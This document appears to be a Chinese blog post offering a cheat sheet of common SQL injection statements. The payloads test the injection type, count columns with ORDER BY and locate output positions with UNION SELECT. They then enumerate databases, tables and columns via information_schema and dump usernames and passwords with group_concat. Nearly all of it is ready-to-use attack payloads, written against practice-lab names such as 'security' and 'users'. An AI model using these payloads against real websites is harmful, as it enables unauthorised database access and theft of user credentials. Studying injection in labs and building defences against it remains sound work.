SQL注入常用語句

一、判斷類型

用and判斷其字符類型

’ and ‘1’='1 正常返回
’ and ‘1’='2 頁面正常,但是與上個頁面相比,沒有查詢數據(網站沒對sql輸入做特殊過濾和處理) 字符型
上兩條必須是一起判斷的

’ and ‘1’='1 非正常返回,顯示錯誤。可能性 1.有過濾 2.閉合符不對 3.不是字符型

總:
如果是字符型,那麼 ’ and ‘1’=‘1 正常,’ and ‘1’='2 錯誤
數字型,那麼 and 1=1 正常, and 1=2 錯誤
總之,一定使用兩條and去一起判斷

’ or ‘1’='1 判斷輸出,即是否會全部輸出還是部分輸出

二、判斷字段數

order by

註釋:
1. #
2.–+ 如果直接 – 即如果後面沒有任何東西,就很被忽略
3.%23

mysql5.0以上纔有information_schema數據庫

三、確定顯示位

1’ union select 1,2 # 確定顯示位

-1’union select 1,2 # -1表示前一個查詢結果不會返回,只顯示後一個查詢結果,在網站對輸出結果有限制時就可以這樣用

四、獲取數據庫

猜數據庫
select schema_name from information_schema.schemata
例子: SELECT * FROM users WHERE id=’-1’union select 1,group_concat(schema _name),3 from information_schema.schemata–+ LIMIT 0,1
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(schema _name),database() from information_schema.schemata–+ LIMIT 0,1

id=’-1’讓前一個查詢不顯示,只顯示後面的查詢,常用在對頁面的返回數據有控制時,即只返回一組數據,


group_concat()	分組查詢
-1' union select 1,group_concat(username),group_concat(password) from users	巧用group_concat(),使多組數據,作爲一組字符串一起輸出

id=- 1  常與 group_concat()  連用

五、數據表

猜某庫的數據表
select table_name from information_schema.tables where table_schema=’xxxxx’
例子: SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’–+ LIMIT 0,1

可以將單引號內的數據進行編碼爲 16進制(一般默認識別16進制)

六、數據列

猜某表的所有列
Select column_name from information_schema.columns where table_name=’xxxxx’
例子: SELECT * FROM users WHERE id=’-1’union select 1,group_concat(column _name),3 from information_schema.columns where table_name=‘users’ --+ LIMIT 0,1

七、內容

獲取某列的內容
Select *** from ****

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章